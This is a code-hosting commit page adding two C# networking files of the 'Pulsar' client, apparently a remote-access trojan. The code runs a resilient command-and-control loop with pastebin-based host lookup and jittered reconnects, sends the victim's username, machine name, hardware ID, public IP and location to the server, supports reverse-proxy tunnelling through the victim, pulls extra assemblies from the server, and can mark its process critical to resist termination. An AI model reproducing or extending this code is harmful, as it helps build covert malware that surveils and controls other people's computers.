initial commit
This commit is contained in:
@@ -0,0 +1,565 @@
|
||||
using Pulsar.Client.ReverseProxy;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Common.Extensions;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Net;
|
||||
using System.Net.Sockets;
|
||||
using System.Security.Cryptography;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Threading;
|
||||
using System.Collections.Concurrent;
|
||||
using Pulsar.Common.Messages.Administration.ReverseProxy;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Buffers;
|
||||
using System.Buffers.Binary;
|
||||
|
||||
namespace Pulsar.Client.Networking
|
||||
{
|
||||
public class Client : ISender, IDisposable
|
||||
{
|
||||
/// <summary>
|
||||
/// Occurs as a result of an unrecoverable issue with the client.
|
||||
/// </summary>
|
||||
public event ClientFailEventHandler ClientFail;
|
||||
|
||||
/// <summary>
|
||||
/// Represents a method that will handle failure of the client.
|
||||
/// </summary>
|
||||
/// <param name="s">The client that has failed.</param>
|
||||
/// <param name="ex">The exception containing information about the cause of the client's failure.</param>
|
||||
public delegate void ClientFailEventHandler(Client s, Exception ex);
|
||||
|
||||
/// <summary>
|
||||
/// Fires an event that informs subscribers that the client has failed.
|
||||
/// </summary>
|
||||
/// <param name="ex">The exception containing information about the cause of the client's failure.</param>
|
||||
private void OnClientFail(Exception ex)
|
||||
{
|
||||
var handler = ClientFail;
|
||||
handler?.Invoke(this, ex);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Occurs when the state of the client has changed.
|
||||
/// </summary>
|
||||
public event ClientStateEventHandler ClientState;
|
||||
|
||||
/// <summary>
|
||||
/// Represents the method that will handle a change in the client's state
|
||||
/// </summary>
|
||||
/// <param name="s">The client which changed its state.</param>
|
||||
/// <param name="connected">The new connection state of the client.</param>
|
||||
public delegate void ClientStateEventHandler(Client s, bool connected);
|
||||
|
||||
/// <summary>
|
||||
/// Fires an event that informs subscribers that the state of the client has changed.
|
||||
/// </summary>
|
||||
/// <param name="connected">The new connection state of the client.</param>
|
||||
private void OnClientState(bool connected)
|
||||
{
|
||||
if (Connected == connected) return;
|
||||
|
||||
Connected = connected;
|
||||
|
||||
var handler = ClientState;
|
||||
handler?.Invoke(this, connected);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Occurs when a message is received from the server.
|
||||
/// </summary>
|
||||
public event ClientReadEventHandler ClientRead;
|
||||
|
||||
/// <summary>
|
||||
/// Represents a method that will handle a message from the server.
|
||||
/// </summary>
|
||||
/// <param name="s">The client that has received the message.</param>
|
||||
/// <param name="message">The message that has been received by the server.</param>
|
||||
/// <param name="messageLength">The length of the message.</param>
|
||||
public delegate void ClientReadEventHandler(Client s, IMessage message, int messageLength);
|
||||
|
||||
/// <summary>
|
||||
/// Fires an event that informs subscribers that a message has been received by the server.
|
||||
/// </summary>
|
||||
/// <param name="message">The message that has been received by the server.</param>
|
||||
/// <param name="messageLength">The length of the message.</param>
|
||||
private void OnClientRead(IMessage message, int messageLength)
|
||||
{
|
||||
Debug.WriteLine($"[CLIENT] Received packet: {message.GetType().Name} (Length: {messageLength} bytes)");
|
||||
var handler = ClientRead;
|
||||
handler?.Invoke(this, message, messageLength);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// The keep-alive time in ms.
|
||||
/// </summary>
|
||||
public uint KEEP_ALIVE_TIME => 25000; // 25s
|
||||
|
||||
/// <summary>
|
||||
/// The keep-alive interval in ms.
|
||||
/// </summary>
|
||||
public uint KEEP_ALIVE_INTERVAL => 25000; // 25s
|
||||
|
||||
/// <summary>
|
||||
/// The header size in bytes.
|
||||
/// </summary>
|
||||
public int HEADER_SIZE => 4; // 4B
|
||||
|
||||
/// <summary>
|
||||
/// Returns an array containing all of the proxy clients of this client.
|
||||
/// </summary>
|
||||
public ReverseProxyClient[] ProxyClients
|
||||
{
|
||||
get
|
||||
{
|
||||
lock (_proxyClientsLock)
|
||||
{
|
||||
return _proxyClients.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets if the client is currently connected to a server.
|
||||
/// </summary>
|
||||
public bool Connected { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// The stream used for communication.
|
||||
/// </summary>
|
||||
private Stream _stream;
|
||||
|
||||
/// <summary>
|
||||
/// The server certificate.
|
||||
/// </summary>
|
||||
private readonly X509Certificate2 _serverCertificate;
|
||||
|
||||
/// <summary>
|
||||
/// Indicates whether secure envelopes should be enforced for all traffic.
|
||||
/// </summary>
|
||||
protected bool EncryptTraffic { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// A list of all the connected proxy clients that this client holds.
|
||||
/// </summary>
|
||||
private readonly List<ReverseProxyClient> _proxyClients = new List<ReverseProxyClient>();
|
||||
|
||||
readonly object _readMessageLock = new object();
|
||||
readonly object _sendMessageLock = new object();
|
||||
readonly object _proxyClientsLock = new object();
|
||||
|
||||
/// <summary>
|
||||
/// The buffer for the client's incoming payload.
|
||||
/// </summary>
|
||||
private byte[] _readBuffer;
|
||||
|
||||
/// <summary>
|
||||
/// The queue which holds messages to send.
|
||||
/// </summary>
|
||||
private readonly ConcurrentQueue<IMessage> _sendBuffers = new ConcurrentQueue<IMessage>();
|
||||
|
||||
/// <summary>
|
||||
/// Determines if the client is currently sending messages.
|
||||
/// </summary>
|
||||
private int _sendingMessagesFlag;
|
||||
|
||||
// Receive info
|
||||
private int _readOffset;
|
||||
private int _readLength;
|
||||
|
||||
/// <summary>
|
||||
/// Constructor of the client, initializes serializer types.
|
||||
/// </summary>
|
||||
/// <param name="serverCertificate">The server certificate.</param>
|
||||
protected Client(X509Certificate2 serverCertificate)
|
||||
{
|
||||
_serverCertificate = serverCertificate;
|
||||
_readBuffer = new byte[HEADER_SIZE];
|
||||
_readOffset = 0;
|
||||
_readLength = HEADER_SIZE;
|
||||
|
||||
#if DEBUG
|
||||
var certificateUsable = SecureMessageEnvelopeHelper.CanUse(_serverCertificate);
|
||||
var enforceEncryptionFlag = Environment.GetEnvironmentVariable("PULSAR_DEBUG_ENFORCE_ENCRYPTION");
|
||||
var enforceEncryption = !string.IsNullOrWhiteSpace(enforceEncryptionFlag)
|
||||
&& (enforceEncryptionFlag.Equals("1", StringComparison.OrdinalIgnoreCase)
|
||||
|| enforceEncryptionFlag.Equals("true", StringComparison.OrdinalIgnoreCase)
|
||||
|| enforceEncryptionFlag.Equals("yes", StringComparison.OrdinalIgnoreCase));
|
||||
|
||||
if (enforceEncryption && certificateUsable)
|
||||
{
|
||||
EncryptTraffic = true;
|
||||
Debug.WriteLine("[CLIENT] Debug build: encryption enforced via PULSAR_DEBUG_ENFORCE_ENCRYPTION.");
|
||||
}
|
||||
else
|
||||
{
|
||||
EncryptTraffic = false;
|
||||
if (!certificateUsable)
|
||||
{
|
||||
Debug.WriteLine("[CLIENT] Debug build: server certificate missing, running without encryption.");
|
||||
}
|
||||
else
|
||||
{
|
||||
var logMessage = enforceEncryption
|
||||
? "[CLIENT] Debug build: encryption enforcement requested but certificate cannot be used; continuing without encryption."
|
||||
: "[CLIENT] Debug build: encryption disabled by default for development.";
|
||||
Debug.WriteLine(logMessage);
|
||||
}
|
||||
}
|
||||
#else
|
||||
EncryptTraffic = SecureMessageEnvelopeHelper.CanUse(_serverCertificate);
|
||||
if (!EncryptTraffic)
|
||||
{
|
||||
throw new InvalidOperationException("A valid server certificate is required for secure communication.");
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to connect to the specified ip address on the specified port.
|
||||
/// </summary>
|
||||
/// <param name="ip">The ip address to connect to.</param>
|
||||
/// <param name="port">The port of the host.</param>
|
||||
protected void Connect(IPAddress ip, ushort port)
|
||||
{
|
||||
Socket handle = null;
|
||||
try
|
||||
{
|
||||
Disconnect();
|
||||
|
||||
handle = new Socket(ip.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
|
||||
handle.NoDelay = true;
|
||||
handle.SetKeepAliveEx(KEEP_ALIVE_INTERVAL, KEEP_ALIVE_TIME);
|
||||
handle.Connect(ip, port);
|
||||
|
||||
if (handle.Connected)
|
||||
{
|
||||
_stream = new NetworkStream(handle, true);
|
||||
_stream.BeginRead(_readBuffer, _readOffset, _readBuffer.Length, AsyncReceive, null);
|
||||
OnClientState(true);
|
||||
}
|
||||
else
|
||||
{
|
||||
handle.Dispose();
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
handle?.Dispose();
|
||||
OnClientFail(ex);
|
||||
}
|
||||
}
|
||||
|
||||
private void AsyncReceive(IAsyncResult result)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (_stream == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
var bytesRead = _stream.EndRead(result);
|
||||
if (bytesRead <= 0)
|
||||
throw new Exception("no bytes transferred");
|
||||
|
||||
lock (_readMessageLock)
|
||||
{
|
||||
_readOffset += bytesRead;
|
||||
_readLength -= bytesRead;
|
||||
|
||||
if (_readLength == 0)
|
||||
{
|
||||
if (_readBuffer.Length == HEADER_SIZE)
|
||||
{
|
||||
var length = BitConverter.ToInt32(_readBuffer, 0);
|
||||
if (length <= 0)
|
||||
throw new InvalidDataException("Invalid message length.");
|
||||
|
||||
_readBuffer = new byte[length];
|
||||
_readOffset = 0;
|
||||
_readLength = length;
|
||||
}
|
||||
else
|
||||
{
|
||||
try
|
||||
{
|
||||
var message = PulsarMessagePackSerializer.Deserialize(_readBuffer);
|
||||
message = ProcessIncomingMessage(message);
|
||||
OnClientRead(message, _readBuffer.Length);
|
||||
}
|
||||
finally
|
||||
{
|
||||
_readBuffer = new byte[HEADER_SIZE];
|
||||
_readOffset = 0;
|
||||
_readLength = HEADER_SIZE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if (_stream != null)
|
||||
{
|
||||
ThreadPool.QueueUserWorkItem(_ =>
|
||||
{
|
||||
try
|
||||
{
|
||||
if (_stream != null)
|
||||
{
|
||||
_stream.BeginRead(_readBuffer, _readOffset, _readLength, AsyncReceive, result.AsyncState);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Disconnect();
|
||||
OnClientFail(ex);
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Disconnect();
|
||||
OnClientFail(ex);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Sends a message to the connected server.
|
||||
/// </summary>
|
||||
/// <typeparam name="T">The type of the message.</typeparam>
|
||||
/// <param name="message">The message to be sent.</param>
|
||||
public void Send<T>(T message) where T : IMessage
|
||||
{
|
||||
if (!Connected || message == null)
|
||||
return;
|
||||
|
||||
_sendBuffers.Enqueue(message);
|
||||
if (Interlocked.Exchange(ref _sendingMessagesFlag, 1) == 0)
|
||||
{
|
||||
ThreadPool.QueueUserWorkItem(ProcessSendBuffers);
|
||||
}
|
||||
}
|
||||
|
||||
private void ProcessSendBuffers(object state)
|
||||
{
|
||||
while (true)
|
||||
{
|
||||
if (!Connected)
|
||||
{
|
||||
SendCleanup(true);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!_sendBuffers.TryDequeue(out var message))
|
||||
{
|
||||
SendCleanup();
|
||||
return;
|
||||
}
|
||||
|
||||
SafeSendMessage(message);
|
||||
}
|
||||
}
|
||||
|
||||
private void SendCleanup(bool clear = false)
|
||||
{
|
||||
Interlocked.Exchange(ref _sendingMessagesFlag, 0);
|
||||
if (clear)
|
||||
{
|
||||
while (_sendBuffers.TryDequeue(out _)) ;
|
||||
}
|
||||
}
|
||||
|
||||
private IMessage PrepareMessageForSend(IMessage message)
|
||||
{
|
||||
if (message == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
if (message is SecureMessageEnvelope)
|
||||
{
|
||||
return message;
|
||||
}
|
||||
|
||||
if (!EncryptTraffic)
|
||||
{
|
||||
return message;
|
||||
}
|
||||
|
||||
if (!SecureMessageEnvelopeHelper.CanUse(_serverCertificate))
|
||||
{
|
||||
throw new InvalidOperationException("Secure transport is enabled but no certificate is available.");
|
||||
}
|
||||
|
||||
return SecureMessageEnvelopeHelper.Wrap(message, _serverCertificate);
|
||||
}
|
||||
|
||||
private IMessage ProcessIncomingMessage(IMessage message)
|
||||
{
|
||||
if (message is SecureMessageEnvelope secureEnvelope)
|
||||
{
|
||||
if (!SecureMessageEnvelopeHelper.CanUse(_serverCertificate))
|
||||
{
|
||||
throw new InvalidOperationException("Received a secure envelope but no certificate is available for decryption.");
|
||||
}
|
||||
|
||||
return SecureMessageEnvelopeHelper.Unwrap(secureEnvelope, _serverCertificate);
|
||||
}
|
||||
|
||||
if (EncryptTraffic)
|
||||
{
|
||||
throw new InvalidOperationException($"Received unexpected plaintext message of type {message?.GetType().Name} while encryption is enforced.");
|
||||
}
|
||||
|
||||
return message;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Sends a message to the connected server and blocks until sent.
|
||||
/// </summary>
|
||||
/// <typeparam name="T">The type of the message.</typeparam>
|
||||
/// <param name="message">The message to be sent.</param>
|
||||
public void SendBlocking<T>(T message) where T : IMessage
|
||||
{
|
||||
if (!Connected || message == null)
|
||||
return;
|
||||
|
||||
SafeSendMessage(message);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Safely sends a message and prevents multiple simultaneous
|
||||
/// write operations on the <see cref="_stream"/>.
|
||||
/// </summary>
|
||||
/// <param name="message">The message to send.</param>
|
||||
private void SafeSendMessage(IMessage message)
|
||||
{
|
||||
lock (_sendMessageLock)
|
||||
{
|
||||
if (_stream == null)
|
||||
return;
|
||||
|
||||
try
|
||||
{
|
||||
var prepared = PrepareMessageForSend(message);
|
||||
if (prepared == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
var payload = PulsarMessagePackSerializer.Serialize(prepared);
|
||||
int totalLength = HEADER_SIZE + payload.Length;
|
||||
|
||||
byte[] buffer = ArrayPool<byte>.Shared.Rent(totalLength);
|
||||
try
|
||||
{
|
||||
BinaryPrimitives.WriteInt32LittleEndian(new Span<byte>(buffer, 0, HEADER_SIZE), payload.Length);
|
||||
Buffer.BlockCopy(payload, 0, buffer, HEADER_SIZE, payload.Length);
|
||||
_stream?.Write(buffer, 0, totalLength);
|
||||
}
|
||||
finally
|
||||
{
|
||||
ArrayPool<byte>.Shared.Return(buffer, clearArray: false);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Disconnect();
|
||||
OnClientFail(ex);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disconnect the client from the server, disconnect all proxies that
|
||||
/// are held by this client, and dispose of other resources associated
|
||||
/// with this client.
|
||||
/// </summary>
|
||||
public void Disconnect()
|
||||
{
|
||||
lock (_sendMessageLock)
|
||||
{
|
||||
if (_stream != null)
|
||||
{
|
||||
_stream.Dispose();
|
||||
_stream = null;
|
||||
}
|
||||
}
|
||||
|
||||
_readBuffer = new byte[HEADER_SIZE];
|
||||
_readOffset = 0;
|
||||
_readLength = HEADER_SIZE;
|
||||
|
||||
if (_proxyClients != null)
|
||||
{
|
||||
lock (_proxyClientsLock)
|
||||
{
|
||||
foreach (var proxy in _proxyClients)
|
||||
{
|
||||
try
|
||||
{
|
||||
proxy.Disconnect();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
// Log or handle proxy disconnect exceptions
|
||||
System.Diagnostics.Debug.WriteLine($"Proxy disconnect error: {ex.Message}");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
SendCleanup(true);
|
||||
OnClientState(false);
|
||||
}
|
||||
|
||||
public void ConnectReverseProxy(ReverseProxyConnect command)
|
||||
{
|
||||
var proxy = new ReverseProxyClient(command, this);
|
||||
lock (_proxyClientsLock)
|
||||
{
|
||||
_proxyClients.Add(proxy);
|
||||
}
|
||||
}
|
||||
|
||||
public ReverseProxyClient GetReverseProxyByConnectionId(int connectionId)
|
||||
{
|
||||
lock (_proxyClientsLock)
|
||||
{
|
||||
return _proxyClients.FirstOrDefault(proxy => proxy.ConnectionId == connectionId);
|
||||
}
|
||||
}
|
||||
|
||||
public void RemoveProxyClient(int connectionId)
|
||||
{
|
||||
lock (_proxyClientsLock)
|
||||
{
|
||||
_proxyClients.RemoveAll(proxy => proxy.ConnectionId == connectionId);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Implement IDisposable for managed resources.
|
||||
/// </summary>
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
Disconnect();
|
||||
}
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,296 @@
|
||||
using NAudio.CoreAudioApi;
|
||||
using Pulsar.Client.Helper;
|
||||
using Pulsar.Client.IO;
|
||||
using Pulsar.Client.IpGeoLocation;
|
||||
using Pulsar.Client.User;
|
||||
using Pulsar.Common.DNS;
|
||||
using Pulsar.Common.Helpers;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Utilities;
|
||||
using Pulsar.Client.Config;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Threading;
|
||||
using Pulsar.Common.UAC;
|
||||
using Pulsar.Client.Utilities;
|
||||
using Pulsar.Common.Networking;
|
||||
|
||||
namespace Pulsar.Client.Networking
|
||||
{
|
||||
public class PulsarClient : Client, IDisposable
|
||||
{
|
||||
/// <summary>
|
||||
/// Used to keep track if the client has been identified by the server.
|
||||
/// </summary>
|
||||
private bool _identified;
|
||||
|
||||
/// <summary>
|
||||
/// Indicates whether this client already requested deferred assemblies for the current session.
|
||||
/// </summary>
|
||||
private bool _requestedDeferredAssemblies;
|
||||
|
||||
/// <summary>
|
||||
/// The hosts manager which contains the available hosts to connect to.
|
||||
/// </summary>
|
||||
private readonly HostsManager _hosts;
|
||||
|
||||
/// <summary>
|
||||
/// Random number generator to slightly randomize the reconnection delay.
|
||||
/// </summary>
|
||||
private readonly SafeRandom _random;
|
||||
|
||||
/// <summary>
|
||||
/// Create a <see cref="_token"/> and signals cancellation.
|
||||
/// </summary>
|
||||
private readonly CancellationTokenSource _tokenSource;
|
||||
|
||||
/// <summary>
|
||||
/// The token to check for cancellation.
|
||||
/// </summary>
|
||||
private readonly CancellationToken _token;
|
||||
|
||||
/// <summary>
|
||||
/// Indicates that shutdown was requested for the connect loop.
|
||||
/// </summary>
|
||||
private volatile bool _shutdownRequested;
|
||||
|
||||
/// <summary>
|
||||
/// Tracks whether the instance was disposed to avoid double cleanup.
|
||||
/// </summary>
|
||||
private bool _disposed;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="PulsarClient"/> class.
|
||||
/// </summary>
|
||||
/// <param name="hostsManager">The hosts manager which contains the available hosts to connect to.</param>
|
||||
/// <param name="serverCertificate">The server certificate.</param>
|
||||
public PulsarClient(HostsManager hostsManager, X509Certificate2 serverCertificate)
|
||||
: base(serverCertificate)
|
||||
{
|
||||
_hosts = hostsManager;
|
||||
_random = new SafeRandom();
|
||||
base.ClientState += OnClientState;
|
||||
base.ClientRead += OnClientRead;
|
||||
base.ClientFail += OnClientFail;
|
||||
_tokenSource = new CancellationTokenSource();
|
||||
_token = _tokenSource.Token;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Connection loop used to reconnect and keep the connection open.
|
||||
/// </summary>
|
||||
public void ConnectLoop()
|
||||
{
|
||||
while (!_shutdownRequested && !_token.IsCancellationRequested)
|
||||
{
|
||||
if (!Connected)
|
||||
{
|
||||
var host = _hosts.GetNextHost();
|
||||
|
||||
if (host?.IpAddress == null)
|
||||
{
|
||||
Debug.WriteLine("Failed to get a valid host to connect to. Will retry after delay.");
|
||||
|
||||
// Check pastebin status to determine appropriate wait time
|
||||
var (IsReachable, SuggestedWaitTimeMs) = _hosts.GetPastebinStatus();
|
||||
int waitTime;
|
||||
|
||||
if (!IsReachable && SuggestedWaitTimeMs > 0)
|
||||
{
|
||||
// Use suggested wait time for pastebin failures (5+ minutes to avoid rate limiting)
|
||||
waitTime = SuggestedWaitTimeMs;
|
||||
Debug.WriteLine($"Pastebin unreachable, waiting {waitTime / 1000} seconds before retry");
|
||||
}
|
||||
else
|
||||
{
|
||||
// Use normal reconnect delay when pastebin is reachable but no hosts available
|
||||
waitTime = Settings.RECONNECTDELAY;
|
||||
}
|
||||
|
||||
Thread.Sleep(waitTime + _random.Next(250, 750));
|
||||
continue;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
base.Connect(host.IpAddress, host.Port);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Connection attempt failed: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
while (Connected)
|
||||
{
|
||||
if (WaitForShutdownSignal(1000))
|
||||
{
|
||||
Disconnect();
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (_shutdownRequested || _token.IsCancellationRequested)
|
||||
{
|
||||
Disconnect();
|
||||
return;
|
||||
}
|
||||
|
||||
if (WaitForShutdownSignal(Settings.RECONNECTDELAY + _random.Next(250, 750)))
|
||||
{
|
||||
Disconnect();
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void OnClientRead(Client client, IMessage message, int messageLength)
|
||||
{
|
||||
if (!_identified)
|
||||
{
|
||||
if (message is ClientIdentificationResult reply)
|
||||
{
|
||||
_identified = reply.Result;
|
||||
if (_identified)
|
||||
{
|
||||
RequestDeferredAssemblies();
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
MessageHandler.Process(client, message);
|
||||
}
|
||||
|
||||
private void OnClientFail(Client client, Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Client Fail - Exception Message: {ex.Message}");
|
||||
client.Disconnect();
|
||||
}
|
||||
|
||||
private void OnClientState(Client client, bool connected)
|
||||
{
|
||||
_identified = false; // always reset identification
|
||||
_requestedDeferredAssemblies = false;
|
||||
|
||||
if (connected)
|
||||
{
|
||||
// Notify hosts manager of successful connection for pastebin timing logic
|
||||
_hosts.NotifySuccessfulConnection();
|
||||
|
||||
// send client identification once connected
|
||||
|
||||
var geoInfo = GeoInformationFactory.GetGeoInformation();
|
||||
var userAccount = new UserAccount();
|
||||
|
||||
var identification = new ClientIdentification
|
||||
{
|
||||
Version = Settings.ReportedVersion,
|
||||
OperatingSystem = PlatformHelper.FullName,
|
||||
AccountType = userAccount.Type.ToString(),
|
||||
Country = geoInfo.Country,
|
||||
CountryCode = geoInfo.CountryCode,
|
||||
ImageIndex = geoInfo.ImageIndex,
|
||||
Id = HardwareDevices.HardwareId,
|
||||
Username = userAccount.UserName,
|
||||
PcName = SystemHelper.GetPcName(),
|
||||
Tag = Settings.TAG,
|
||||
EncryptionKey = Settings.ENCRYPTIONKEY,
|
||||
Signature = Convert.FromBase64String(Settings.SERVERSIGNATURE),
|
||||
PublicIP = geoInfo.IpAddress ?? "Unknown"
|
||||
};
|
||||
|
||||
client.Send(identification);
|
||||
}
|
||||
}
|
||||
|
||||
private void RequestDeferredAssemblies()
|
||||
{
|
||||
if (_requestedDeferredAssemblies)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
var missingAssemblies = DeferredAssemblyManager.GetMissingAssemblies();
|
||||
if (missingAssemblies == null || missingAssemblies.Length == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
Send(new RequestDeferredAssemblies
|
||||
{
|
||||
Assemblies = missingAssemblies,
|
||||
ClientVersion = Settings.ReportedVersion
|
||||
});
|
||||
|
||||
_requestedDeferredAssemblies = true;
|
||||
Debug.WriteLine($"Requested {missingAssemblies.Length} deferred assemblies from server.");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Failed to request deferred assemblies: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Stops the connection loop and disconnects the connection.
|
||||
/// </summary>
|
||||
public void Exit()
|
||||
{
|
||||
if (Settings.MAKEPROCESSCRITICAL && UAC.IsAdministrator())
|
||||
{
|
||||
NativeMethods.RtlSetProcessIsCritical(0, 0, 0);
|
||||
}
|
||||
|
||||
_shutdownRequested = true;
|
||||
_tokenSource.Cancel();
|
||||
Disconnect();
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (!disposing || _disposed)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
_shutdownRequested = true;
|
||||
_disposed = true;
|
||||
|
||||
_tokenSource.Cancel();
|
||||
|
||||
try
|
||||
{
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
finally
|
||||
{
|
||||
_tokenSource.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Waits for either a shutdown request/cancellation or until the specified timeout elapses.
|
||||
/// </summary>
|
||||
/// <param name="timeoutMs">Timeout in milliseconds.</param>
|
||||
/// <returns><c>true</c> if shutdown was requested; otherwise <c>false</c>.</returns>
|
||||
private bool WaitForShutdownSignal(int timeoutMs)
|
||||
{
|
||||
const int slice = 100;
|
||||
var waited = 0;
|
||||
|
||||
while (waited < timeoutMs && !_shutdownRequested && !_token.IsCancellationRequested)
|
||||
{
|
||||
var delay = Math.Min(slice, timeoutMs - waited);
|
||||
Thread.Sleep(delay);
|
||||
waited += delay;
|
||||
}
|
||||
|
||||
return _shutdownRequested || _token.IsCancellationRequested;
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user